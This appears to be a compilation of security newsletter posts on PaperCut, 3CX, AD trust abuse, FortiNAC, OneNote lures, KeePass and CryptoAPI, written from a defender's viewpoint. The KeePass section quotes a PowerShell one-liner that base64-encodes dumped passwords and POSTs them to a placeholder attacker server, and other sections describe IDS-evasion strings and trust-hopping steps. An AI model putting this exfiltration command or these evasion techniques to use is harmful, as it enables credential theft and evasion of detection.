Preface:

I’ve been asked on multiple occasions if we could write a custom detection as a “compensating control” to mitigate the risk of a vulnerability being exploited, in order to buy system admins more time or better yet to altogether negate the need to take a critical business service offline for patching. This article will explain why the answer has never been “yes”, due to the inherent limitations of Threat Detection and Detection Engineering.

We reported last week on the widespread exploitation of a critical vulnerability in the PaperCut print management software, perpetrated by CL0P and LockBit ransomware affiliates and helped along by a public PoC exploit released by researchers at Horizon3.

On the flip side of that were defenders, creating and sharing detection rules to assist those who couldn’t/hadn’t yet patched the vulnerability, or who wanted to monitor for possible exploitation as a precaution.

While a variety were fielded utilising Sysmon logs, device-generated logs, and even network telemetry – the team at Vulncheck last week proved why detections can’t truly compensate for a lack of patching, by bypassing all of them in a revised PoC.

Now you see me, now you don’t

The Sysmon detections largely hinged on alerting where the PaperCut application process (pc-app.exe) spawned an unexpected child process like cmd.exe or powershell.exe.

This can be – and indeed already is – circumvented by spawning a reverse shell in a way that requires an intermediary process, for example when dropping a Java instance of the Meterpreter shell:

While Horizon3 researchers were right to point to native log entries indicative of the exploits targeting of the software’s print scripting interfaces – this, again, was bypassed by Vulncheck who instead found they could abuse the User/Group Sync “custom programs” to achieve the same effect while also avoiding triggering those alerts altogether.

---

Opalsec is a reader-supported publication. To receive new posts and support my work, please consider becoming a paid subscriber!

---

The Suricata IDS rule proposed by Proofpoint also proved brittle – because the rule searched for the specific string “/app?service=page/SetupCompleted” as an indication of attempted exploitation, it can also be bypassed by inserting junk values that wouldn’t impact the request, such as page//SetupCompleted or random=1&page/SetupCompleted.

It’s an Art, not a Science

Naturally, the original rules could be modified to alert on a child process of java.exe or to search for a string consistent across variations such as “SetupCompleted” – but that would introduce a high risk of generating false positive alerts.

This brings me to the point of this post – Detection Engineering is a constant battle to maintain a (heavily subjective) balance between being specific enough to generate as few false positive alerts as possible, while also being broad enough to account for attacker permutations and alternate components that can be inserted into the exploit chain to evade our detections.

The PaperCut vulnerability is the perfect example of why detections are not a substitute for mitigation – the quality of your detection hinges entirely on how well you’ve accounted for all possible implementations or variations of a technique or procedure.

Should the authors of the first round of detections have been expected to know that User/Group Sync “custom programs” could also be targeted to exploit the vulnerability? Probably not, but the confidence in those detections – which many security teams would be relying on – would have still been moderate to high, in the absence of evidence that they had in fact missed another attack path for the vulnerability.

In other words – you can’t know what you don’t know, and that’s a problem when an organisation is reliant on detections for mitigation.

---

---

The saga continues…

While I’ve got you – if two ransomware groups and a publicly available exploit PoC weren’t enough to get you patching – Microsoft have also reported spotting Iranian actors getting in on the action, with Mint Sandstorm (formerly PHOSPHORUS) and Mango Sandstorm (formerly MERCURY) observed opportunistically exploiting the vulnerability across a range of industries and geographies.

What the heck is going on?

This all kicked off on Wednesday with SentinelOne’s release of a post that looked at a campaign dubbed “Smooth Operator”, which essentially found that the 3CX Voice Over Internet Protocol (VOIP) desktop client – used by some 600,000 companies worldwide and over 12 million daily users – had been compromised with a malicious update.

Moreover, Huntress Labs found 242,519 internet-exposed 3CX phone management systems as of the 30th March, and a further 2,783 instances in their customer networks running the trojanized software.

What can I do?

Well for one – ensure you’ve removed any exceptions that might have been created for the application.

The compromised software has been assigned CVE-2023-29059, and impacts the following versions on Windows and MacOS:

1. Windows: versions 18.12.407 and 18.12.416 of the Electron Windows application shipped in Update 7, and
2. Versions 18.11.1213, 18.12.402, 18.12.407, and 18.12.416 of the Electron MacOS application.

Immediately uninstall any affected versions of the product, and perform hunting using IOCs noted in the articles in the Further Reading section at the bottom of this post.

Florian Roth and his team have also shared several Sigma and YARA rules to help identify compromised files that were leveraged in the attack.

How did this happen?

Customer reports of the trojanised application being quarantined by antivirus products first began surfacing the week prior, on the 22nd of March, though SentinelOne have reported observing activity as far back as March 8th.

Analysts at Volexity have found the domains and web infrastructure used in the attacks were registered as early as November 2022, and infrastructure used by the Windows variant were activated on December 7th, 2022.

Huntress Labs have taken it one even further, having found network infrastructure being established as far back as February 2022:

Whose supply chain was hit?

ReversingLabs have done some great analysis of the potential origin of this attack, pointing to either a compromise of the 3CX development pipeline (a la SolarWinds) or a malicious upstream dependency, the kind we often see impacting package repositories like PyPI, Maven, or npm.

3CX were quick to point fingers at ffmpeg – the upstream code supplier for the trojanized ffmpeg.dll binary – but they clearly weren’t in the mood for it and told 3CX to double-check their homework:

There have been several incorrect reports that FFmpeg has been involved in the distribution of malware.

FFmpeg only provides source code and the source code has not been compromised. Any “ffmpeg.dll” that has been compromised is the responsibility of the vendor.

— FFmpeg (@FFmpeg) 4:44 PM ∙ Mar 30, 2023

That said, Volexity researchers are right to point out that in order to have trojanized the software’s updates so effectively, the actors would have lingered in 3CX’s network for some time – sufficient enough to “develop an understanding, access, and malicious code for the development-update process of the company”

3CX have engaged Mandiant to conduct an investigation, which is ongoing as of the time of writing.

---

---

How does the attack work?

A trojanized update which was sent out to customers included a modified and malicious version of the legitimate ffmpeg.dll and d3dcompiler.dll binaries, which then retrieved an obfuscated and encrypted .ICO file from an attacker-controlled Github repository.

This subsequently dropped an info-stealing payload which Volexity have dubbed “ICONICSTEALER”. The 64-bit DLL was compiled on March 16, and is “designed to collect information about the system and browser using an embedded copy of the SQLite3 library.”

MacOS Execution Chain

A malicious update was also issued for the MacOS version of the 3CX installer, and it appears to have actually pre-dated the Windows attacks, with the earliest vulnerable version – 18.11.1213 – being deployed in January this year.

You can find a more detailed analysis of the execution chain in Patrick Wardle’s blog, but for a quick overview, Thomas Roccia (a.k.a @fr0gger_) has you covered:

---

---

Signed =/= Trusted

Notably, ReversingLabs reported in their analysis of the Windows sample that they “identified signatures in the appended code pointing to SigFlip, a tool for modifying the authenticode-signed Portable Executable (PE) files without breaking the existing signature.”

This was elaborated on by Will Dormann, who pointed to its apparent use to abuse a 10 year old flaw – CVE-2013-3900 – classed as a “WinVerifyTrust Signature Validation Vulnerability.”

The vulnerability would allow an attacker to append content to the authenticode signature section (WIN_CERTIFICATE structure) of a signed executable – without invalidating the signature.

While a fix was issued back in 2013, Microsoft made it opt-in, as it could break functionality of legitimate apps such as Google Chrome, which modifies the Authenticode signature as part of denoting if diagnostic logs are meant to be collected and sent.

The result? This was abused to append a malicious payload to a usually legitimate DLL signed by Microsoft named d3dcompiler_47.dll, with the signature left intact and incorrectly marking the file as being unaltered and verified by Microsoft.

This is significant as it allowed the attacker to bypass basic file-signing checks by both automated security controls and L1 security analysts. It would have also played a part in influencing system admins to dismiss EDR alerts as false positives, and to create security exceptions so the apparently untampered software could continue to run.

So, who did it?

CrowdStrike have attributed the attack to a group they track as Labyrinth Chollima, a DPRK-aligned actor with form conducting cyber espionage, cryptocurrency theft and destructive attacks. Their analysis found “the HTTPS beacon structure and encryption key match those observed by CrowdStrike in a March 7, 2023 campaign attributed with high confidence to DPRK-nexus threat actor LABYRINTH CHOLLIMA.”

Analysts from Sophos and Volexity has also corroborated this attribution to some degree, with Sophos noting the code was “a byte-to-byte match” with what has been seen in previous activity by the Lazarus Group – the catch-all threat group for DPRK-aligned attackers – and Volexity finding the specific shellcode sequence “appears to have been only used in the ICONIC loader and the APPLEJEUS malware, which is known to be linked to Lazarus.”

Given the wide range of objectives that Labyrinth Chollima – and Lazarus Group, for that matter – have sought to achieve over the years, it’s unclear what their intent was. The fact that the delivered payload was designed to pilfer browsing history from impacted victims indicates that this may have been the first step in a more prolonged, and likely targeted campaign.

How has this been handled?

In six words – very, very, very, unbelievably, cringe-tastically, poorly.

Unfortunately, despite receiving dozens of reports from users of multiple EDR products (SentinelOne, CrowdStrike, ESET, Palo Alto Networks, and SonicWall, to name a few) flagging the VOIP client as malicious, 3CX simply responded by telling customers to add exclusions to allow it to continue to run, and to follow-up with their EDR vendor to resolve the problem.

In an interview with CyberScoop, 3CX CEO Nick Galea noted that antivirus products flagged their software as malicious “quite frequently — so I have to be honest we didn’t take it that seriously […] we did upload it to a site called VirusTotal to check […] and none of the anti-virus engines flagged us of having a virus, so we just left it at that.”

For those wondering what’s wrong with this approach, this Tweet explains succinctly why that is not an adequate validation process for a potential supply chain attack:

So currently expecting a supply chain pwned full installer package that is signed using a cert that is probably whitelisted by not 1-2 vendors to be well detected from the second it was first seen on VT is very very naive, to say it nicely.
(2/2)

— MalwareHunterTeam (@malwrhunterteam) 8:55 PM ∙ Mar 31, 2023

If that’s not enough to have your head spinning, cop this – Galea only acknowledged the vulnerability on forums on the 31st of March – more than a week after users began reporting the issue – and claims “it was only reported to [them] yesterday night.”

True to form

A post by respected researcher Kevin Beaumont shows this may be symptomatic of the security culture at 3CX, as he highlighted that when he attempted last year to report a vulnerability that “3CX took little responsibility, didn’t fix it, and started arguing on Twitter”.

The vulnerability? That files – including the admin password – could be read in plaintext.

---

---

Further Reading

1. CrowdStrike’s report
2. SentinelOne’s report
3. Volexity’s analysis
4. Huntress’ early analysis
5. Follow-up analysis by Huntress
6. Sophos’ analysis
7. ReversingLab’s analysis
8. Patrick Wardle’s Analysis of the MacOS attack chain
9. Analysis & queries by Splunk

Non-transitive trusts (a.k.a external trusts) – as described by Microsoft – are designed to “deny trust relationships with other domains”, or in other words, only the two domains involved in the trust will be able to authenticate to each other.

Unfortunately, researchers from Semperis have discovered that non-transitive trusts can – contrary to their design intent – allow authentication across domains, as well as potential privilege escalation within the trusting domain.

Breaking the Trust

In the diagram below, a non-transitive trust exists between semperisaz.lab and grandchild1.child1.semperis.lab. This allows for a referral TGT – which is used to request Service Tickets for any service within domains with an established trust path – to be requested for grandchild1.child1.semperis.lab.

However because it’s a non-transitive trust – there isn’t a trust path between semperisaz.lab and semperis.lab, and attempting to obtain a referral to this domain fails – as expected.

The way to circumvent this protection is through using a “local” TGT – i.e. a TGT for grandchild1.child1.semperis.lab (the domain for which the non-transitive trust exists) instead of semperis.lab – to request the referral for the domain for which no direct trust exists.

While this technique stops short of allowing an attacker to perform “trust hopping” into another forest, Semperis points out the implications of even this limited scope.

“Attackers could query domain information from supposedly disallowed domains, query more sensitive domains or domains with potentially weaker security, or perform Kerberoasting attacks or NTLM authentication coercion on domains that are assumed to be disallowed.”

---

---

Pivoting using machine accounts

Semperis have been able to chain this technique with one they previously disclosed, in order to extend the use of local TGTs to enable trust hopping to a forest with which no trusts exist.

Continuing from where the previous scenario left off, the referral TGT for the semperis.lab domain can be used to retrieve a Service Ticket for the LDAP service, which can then be abused to create a machine account in that domain.

This account essentially serves as a beachhead within the semperis.lab domain from which we can repeat the exploitation of the flaws found in AD non-transitive trusts.

The machine account’s TGT requests a referral to the trusting domain of treetest.lab, which is then used request a “local” TGT from treetest.lab.

This local TGT can then be used to request a referral from the DC of the treetest.lab domain to the dsptest.lab domain – which should have been out-of-bounds of an account in semperis.lab, according to the design intent of non-transitive trusts.

---

---

“It’s not a vulnerability, so – no.”

Unfortunately, Microsoft believe this flaw can’t be classified as a vulnerability, and as such – won’t be taking any action to rectify it.

The only “fix” to the solution is to disable any non-transitive trusts you may have in your environment.

Failing that, Semperis recommend auditing Windows 4769 events (A Kerberos service ticket was requested), specifically:

1. Where a local TGT is requested – the domain (Account Domain field) is for a different forest, and the Service Name is krbtgt;
2. A second event which follows, requesting a referral TGT – the domain (Account Domain field) is a domain in a different forest, and the Service Name is another domain within the local forest.

They also recommend disallowing Authenticated Users from creating machine accounts, in order to mitigate the ability to extend this flaw into additional forests.

---

---

Attackers have had themselves a field day abusing a vulnerability in Fortinet’s FortiNAC appliance, thanks in no small part to a PoC exploit which was released by security research company Horizon3 – just two business days after Fortinet warned customers to patch the vulnerability.

The PoC exploit leverages the vulnerability to write arbitrary files to disk, and has been abused by attackers to deploy both interactive and reverse web shells on vulnerable FortiNAC devices.

Is two days enough?

While it’s not surprising that attackers were quick to capitalise on the weaponised exploit, it’s difficult to understand Horizon3’s reasoning for having released it as soon as they did.

Sure, you might argue that for large organisations lucky enough to have formalised vulnerability management teams and processes – they may have been able to identify and patch the vulnerability in the two business days separating the disclosure of the vulnerability and release of the PoC.

Smaller entities, however – think regional hospitals, public schools, or even small-scale MSSPs – will likely have neither the capacity or ability to do the same.

And this isn’t that far-fetched a scenario either – this hypothetical lines up very neatly with six of Fortinet’s publicly listed case study clients who use FortiNAC appliances in their networks:

---

---

Timing is everything

Releasing PoC exploits can help defenders better understand the vulnerable attack surface and detect attempts to exploit it – that’s great, and you’ll find no arguments from me on that.

Where this becomes counter-productive, though, is when the PoC exploits – weaponised or not – are released before organisations have the chance to patch the vulnerability they abuse.

There are a myriad of reasons why organisations may be seen to be dragging their heels on patching, many of which are out of the control of the security team or broader organisation, for example:

1. The organisation is coming up to an important event where absolutely nothing can go wrong – e.g. they’re about to be listed on a stock exchange, their latest product is about to be released for sale, or a long holiday period is coming up – in these cases a “Change Freeze” can be put in place that prevents security teams from making any changes without running a gauntlet of internal approvals;
2. The software requires staged updates to multiple components before the vulnerable asset itself can be patched – this can take time and co-ordination from multiple internal and vendor stakeholders;
3. The asset provides critical functionality, and is only able to run as intended on a legacy, vulnerable version. Believe it or not, business requirements can supersede security risks, with “compensating controls” such as “enhanced monitoring” often accepted as a substitute for eliminating a vulnerability – regardless of how critical it is. Ask anyone who’s run a Penetration test on a hospital what the oldest version of Windows they’ve seen on the network is – try not to grimace in disgust when they do.

Onwards and upwards

Security research is an invaluable input to Cyber Defence functions, as it provides actionable insights into attacker techniques, security vulnerabilities, and more – all of which defenders must understand, in order to protect against them.

I’ve been lucky enough to work in several roles on the defensive side, and have seen first-hand how bureaucracy, poor solution design, and convoluted chains of approval can run down the clock when trying to patch security gaps.

My point is – it’s not always for lack of trying, and sometimes all we need is more time.

---

---

Oh, and it goes without saying – though just in case it needs to be said – I didn’t write this piece to take aim at Horizon3.

Their work is great – their timing on this one simply presented the opportunity to address a systemic problem in vulnerability disclosure and management.

I have nothing but respcpt for their team, and wish them all the best.

Why is it being used?

With the heyday of macro-enabled spreadsheets and documents behind us, threat actors have experimented with novel ways to deliver their payloads, including disk image files (.iso, .vhd files), HTML Smuggling (.hta files with embedded scripts), and now OneNote files.

While actors can’t embed VBA macros in OneNote files like they can with Word and Excel documents, it does provide a number of other significant advantages:

• OneNote files are not affected by Protected View/ Mark-of-the-Web;
• It allows embedding Malicious Excel/Word/PPT files that will be played without protected view;
• HTA, LNK, EXE files and more can be embedded in the document, with the extensions spoofed;
• The document can be formatted in order to trick users into opening a malicious file or a link;
• Maldoc creation can be automated using the OneNote.Application API and XML.

For a full overview of its potential, have a look at the full article assessing its viability for Red Team activities here.

Who’s using it?

Numerous actors – including Initial Access Brokers – have integrated OneNote files into their infection chains, with the end result ranging from credential theft to deployment of secondary malware – some of which are known to lead to ransomware infections.

These actors have been seen delivering:

1. Formbook – an infostealer sold on the Dark Web;
2. Qakbot – a prolific malware family that enables secondary infections which can lead to ransomware deployment;
3. IcedID – similar to Qakbot, this malware is widely spread and can enable ransomware attacks;
4. ASyncRAT & xworm – ASyncRAT is a popular, publicly available RAT that is deployed to maintain attacker access to a compromised system. xworm is a stager malware that delivers other payloads while also retaining basic infostealing capabilities;
5. The RedLine infostealer, and Remcos RAT – RedLine is a highly capable and widely used infostealer, while the Remcos RAT is an open-source trojan that is used to facilitate network intrusions.

Cyber security vendor Proofpoint have also flagged that the Quasar and NetWire RATs; DOUBLEBACK malware, and AgentTesla infostealer were all also observed being delivered via campaigns using OneNote lures.

How does this work?

Overview

Similar to traditional Excel and Word document lures, OneNote lures have largely masqueraded as an invoice, remittance advice or other document that the target is urged to view.

Upon opening the document, instead of asking a user to click “Enable Content”, the lure prompts them to double-click a fake “Open” button:

This button simply sits over an embedded .hta file, which is executed when the user attempts to double-click the button overlay:

The choice of file that is executed has varied between campaigns and actors, with shortcut files (.lnk), script files (.hta, .vbs) or Windows script files (.wsf) the most commonly observed.

Other file types such as Javascript (.js, .jse), Visual Basic (.vbe) Windows script files (.bat, .cmd) and more can also be used in their stead.

---

---

Example Attack – Qakbot

Max Malyutin was one of the first to flag the adoption of OneNote files by the actors distributing Qakbot, with their lures going virtually undetected by antivirus engines at the beginning of their campaign.

The lure used was as above, with a malicious .hta file executed when the user double-clicked the lure.

This invoked curl to download a secondary payload – the Qakbot malware – which was then executed by rundll32.exe and injected into the wermgr.exe process.

What’s the point?

OneNote files aren’t subject to the same Mark-of-the-Web restrictions (i.e. the default blocking of macros in downloaded files) as Excel and Word documents.

This means that the convoluted .iso > .lnk mechanism that was adopted to circumvent this protection isn’t necessary, with the added benefit that opening a OneNote file is a much more familiar concept to end users than mounting a virtual disk image, making it a more believable lure.

Attackers are also able to format the OneNote document to match the theme of the email and further add to the apparent legitimacy of the lure, while still enabling the embedding of malicious code and techniques such as HTML Smuggling.

---

---

How can I analyse these files?

A few tools have been flagged by the community, which can help in analysing OneNote files:

1. One-Extract by Volexity
2. OneNoteAnalyzer by knight0x07
3. OneDump.py by Didier Stevens

As demonstrated by malware analyst pr0xylife, OneDump.py can be chained with other commandline tools to yield quick results, especially where the OneNote file is used to download a 2nd-stage payload from a C2 address:

OneNoteAnalyzer is a significantly more fully-featured tool, extracting metadata, attachments and images from the document for a more detailed review:

For a more detailed walkthrough of the overall process, check out Josh Stroschein’s video that examines an ASyncRAT delivery campaign:

How can I detect it?

Examining files with YARA rules

The YARA rules created and shared publicly thusfar have focused on:

1. The “magic bytes” identifying OneNote files (0xE4525C7B);
2. The FileDataStoreObject GUID {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC} that indicates embedded files (flagged by Didier Stevens);
3. Potentially malicious strings.

The two main public rules worth referencing are from Nextron Systems, and SECUINFRA.

SIEM Detections using Sigma rules

@nas_bench from Nextron Systems has provided this Sigma rule that looks for OneNote files created in suspicious directories, which are commonly abused to drop downloaded files.

I’ve also had a go at creating a Sigma rule that looks for variations of the process tree you’re likely to see in a campaign leveraging OneNote files, including where they’ve renamed the system binaries being abused. You can find it here.

---

---

An exploit PoC has been shared publicly for CVE-2023-24055, which relates to the ability for an attacker to add an export trigger within the KeePass XML configuration file, enabling them to dump clear-text passwords from the Password Manager.

The author of the PoC even helpfully provided a PowerShell one-liner to base64-encode the dumped passwords and exfil them via a HTTP POST request:

PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))

Working as intended

KeePass, however, have argued that this is not a vulnerability, as “the password database is not intended to be secure against an attacker who has that level of access to the local PC”, further insisting that “KeePass cannot magically run securely in an insecure environment.”

Essentially – it’s up to the end-user to adequately secure the product from tampering by malicious attackers.

The full scope of impacted versions of KeePass is still unknown, but the vulnerability is at least confirmed to be present in 2.5x versions.

Detection & Mitigation

While this vulnerability is still being disputed and a patch yet to be released, organisations and users relying on this product should monitor for file modification events of the config file (KeePass.config.xml), and investigate the feasibility of setting more restrictive ACLs to prevent unauthorised modification of the file.

Researchers from Akamai have released a technical write-up and PoC exploit for CVE-2022-34689, a critical vulnerability in the Windows CryptoAPI library that could enable attackers to spoof legitimate x.509 Certificates, in order to perform authentication or code signing as the spoofed certificate.

This could be abused by attackers to deliver malicious executables that appear to be signed by a legitimate code-signing certificate, or to perform MiTM attacks on encrypted network traffic.

Technical Details

The vulnerability stems from the CreateChainContextFromPathGraph function call in the crypt32.dll module, which validates cached certificates solely based on the value of the certificate’s MD5 thumbprint.

Therefore, if an attacker could serve a malicious certificate whose MD5 thumbprint collides (has the same value) with one that is already in the victim’s certificate cache, they would be able to bypass this check and have their malicious certificate trusted by the victim system.

MD5 Hash Collisions

For those thinking “isn’t it still technically impossible for us to create two different files that have matching MD5 values?” – you’d be right! That’s called a preimage attack, and while it can be done for more simple hash types like SHA1, it isn’t yet feasible for MD5.

The methodology used here is called a prefix collision, where two certificates that share the same prefixes are created, enabling them to have the same MD5 thumbprint.

The specifics of how the attack works isn’t something that can be summarised without getting overly technical, but the key points are that:

1. There’s a part of the x.509 certificate called the tbsCertificate (to-be-signed) or TBS – this contains all the identity-related values, such as the subject, extensions, Public Key, and more. This is what the Certificate Signature validates;
2. The attacker must modify the contents of the TBS – in particular replacing the Public Key value with an attacker-controlled Public Key value – which is what allows the attacker to sign as the malicious certificate;
3. The Certificate Signature is left untouched, which means the Certificate is incorrectly signed. This doesn’t matter for the purpose of this exploit though, as the vulnerable CryptoAPI library only compares the Certificate Thumbprint;
4. The other steps of the prefix collision attack are performed – manipulating the contents of the original and malicious certificates and copying the result of the MD5 prefix collision computation (i.e. the colliding MD5 thumbprint values) into both of the certificates.

Attack Flow

Based on the above, there are now three certificates to be aware of:

1. The original, unmodified Target Certificate;
2. The Modified Target Certificate which has the colliding MD5 thumbprint value inserted into it; and
3. The Malicious Certificate, which – in addition to having the colliding MD5 thumbprint – also contains the modified Public Key value in the TBS segment.

Akamai’s research team found that Google Chrome v48 and Chromium applications from that time were vulnerable to this flaw, and illustrated the attack flow using the modified certificates to perform a MiTM attack:

Real-World Impact

While Akamai’s research team have thusfar only identified Chrome v48 and associated Chromium applications as being vulnerable, they have indicated there are likely more vulnerable targets in-the-wild that have simply not yet been discovered.

Moreover, they noted that they “found that fewer than 1% of visible devices in data centers are patched, rendering the rest unprotected from exploitation of this vulnerability.”

Akamai have recommended using their supplied OSQuery search to identify and patch all impacted versions of the CryptoAPI library – including unsupported versions such as Windows 7/Server 2008. Developers can also use additional WinAPI functions such as CertVerifyCertificateChainPolicy to further validate the legitimacy of a certificate before trusting and using it.